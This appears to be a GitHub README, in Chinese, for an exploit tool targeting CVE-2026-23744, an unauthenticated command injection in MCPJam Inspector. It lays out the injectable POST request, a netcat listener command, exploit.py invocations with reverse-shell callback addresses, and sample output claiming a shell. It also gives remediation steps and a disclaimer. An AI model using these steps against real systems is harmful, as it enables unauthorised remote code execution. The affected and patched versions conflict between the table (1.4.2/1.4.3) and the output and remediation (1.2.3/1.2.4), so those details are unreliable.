jf-gondim/mcp-pwn

GitHub: jf-gondim/mcp-pwn

MCPJam Inspector未授权远程代码执行漏洞利用工具

Stars: 0 | Forks: 0

# CVE-2026-23744 — MCPJam 未认证远程代码执行 ## 摘要 MCPJam 是一个开源的 MCP(模型上下文协议)检查器和代理,用于连接、调试和管理 MCP 服务器。版本 **<= 1.4.2** 暴露了 `/api/mcp/connect` 端点,没有进行身份验证或输入验证。未经身份验证的远程攻击者可以通过 `serverConfig.command` / `serverConfig.args` 字段注入任意 OS 命令,以进程所有者的权限获得远程代码执行。 ## 漏洞详情 | 字段 | 值 | |-----------------|-------| | **CVE ID** | CVE-2026-23744 | | **CVSS 分数** | 9.8(严重) | | **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | [CWE-78](https://cwe.mitre.org/data/definitions/78.html) — 操作系统命令中不适当的特殊元素中和 | | **组件** | MCPJam MCP 代理检查器 | | **受影响** | MCPJam <= 1.4.2 | | **修复** | MCPJam >= 1.4.3 | | **攻击向量** | 网络 — 无需身份验证 | | **披露** | 2026-01-15 | ## 技术分析 有漏洞的端点接受未经身份验证的 JSON `POST` 请求: ``` POST /api/mcp/connect HTTP/1.1 Host: :3000 Content-Type: application/json { "serverConfig": { "command": "sh", "args": ["-c", ""], "env": {} }, "serverId": "any_string" } ``` MCPJam 直接将 `command` 和 `args` 传递给 Node.js 进程启动器(`child_process.spawn` 或等效)**而没有**: - 输入验证或命令允许列表 - 在此端点上执行身份验证或授权强制 - 限制沙箱、命名空间或权限降低 能够访问端口 3000(默认)的攻击者可以在 `args[1]` 中提供反向 shell 负载,以 MCPJam 进程所有者的权限获得 shell — 通常为 `root` 或具有广泛系统访问权限的服务账户。 ### 根本原因 在 `/api/mcp/connect` 上缺少身份验证中间件保护,以及在不控制的过程启动调用中使用用户提供的值,共同造成了经典的 **未认证 OS 命令注入**(CWE-78)。 ## 利用方法 ### 要求 ``` pip install requests urllib3 ``` ### 参数 ``` -t, --target Target IP or hostname -p, --port Target port (default MCPJam: 3000) -l, --lhost Local IP for reverse-shell callback -r, --lport Local port for reverse-shell callback --timeout Seconds to wait for target availability (default: 30) --shell-timeout POST timeout before assuming shell dropped (default: 5) -v, --verbose Print full HTTP response body ``` ### 步骤 **1. 在您的机器上启动 netcat 监听器:** ``` nc -lvnp 4444 ``` **2. 运行漏洞利用程序:** ``` # 基础 python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 # 详细 + 扩展可用超时(慢速目标) python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v # 更长的shell超时(在假定shell已建立之前给予更多时间) python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10 ``` ### 预期输出 ``` ╔═══════════════════════════════════════════════════════════════════╗ ║ MCPJam · Unauthenticated RCE via serverConfig Injection ║ ║ CVE-2026-23744 ║ ╚═══════════════════════════════════════════════════════════════════╝ CVE ID : CVE-2026-23744 Component : MCPJam MCP Proxy Inspector Affected : <= 1.2.3 → Patched: >= 1.2.4 CVSS Score : 9.8 (Critical) CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE : CWE-78 — OS Command Injection Type : Unauthenticated Remote Code Execution (Network / No Auth) Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744 10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ... 10:32:02 [+] Target is alive — HTTP 200 10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect 10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444 10:32:02 [!] Ensure listener : nc -lvnp 4444 10:32:02 [*] Firing payload ... 10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444 10:32:07 [+] Switch to your netcat listener — incoming connection expected. 10:32:07 [+] Exploit routine complete. ``` ## 补救措施 | 优先级 | 操作 | |----------|--------| | **严重** | 更新 MCPJam 到 >= 1.2.4 | | **高** | 在 `/api/mcp/connect` 后面限制身份验证中间件 | | **高** | 应用网络级防火墙规则,限制对 MCPJam 端口的访问权限到受信任的 IP 地址 | | **中** | 为 `serverConfig.command` 允许的值创建允许列表 | | **中** | 在容器内运行 MCPJam 或使用受限的 Linux 用户(无 shell,无 `/dev/tcp`) | | **低** | 在进程启动事件上启用审计日志 | ## 参考资料 - [CVE-2026-23744: MCPJam 检查器由于 HTTP 端点暴露导致的安全漏洞](https://advisories.gitlab.com/npm/@mcpjam/inspector/CVE-2026-23744/) - [NVD — CVE-2026-23744](https://nvd.nist.gov/vuln/detail/CVE-2026-23744) - [CWE-78: 操作系统命令注入](https://cwe.mitre.org/data/definitions/78.html) - [OWASP: 命令注入](https://owasp.org/www-community/attacks/Command_Injection) - [OWASP Top 10: A03 注入](https://owasp.org/Top10/A03_2021-Injection/) - [模型上下文协议 — 安全考虑](https://modelcontextprotocol.io/specification/2025-11-05/basic/security_considerations) - [MCPJam 项目](https://github.com/mcpjam/mcpjam) ## 免责声明 此漏洞利用程序仅用于 **教育目的和授权安全测试**。仅对您拥有或明确获得测试许可的系统使用。未经授权的使用是非法和不道德的。
标签:威胁模拟, 逆向工具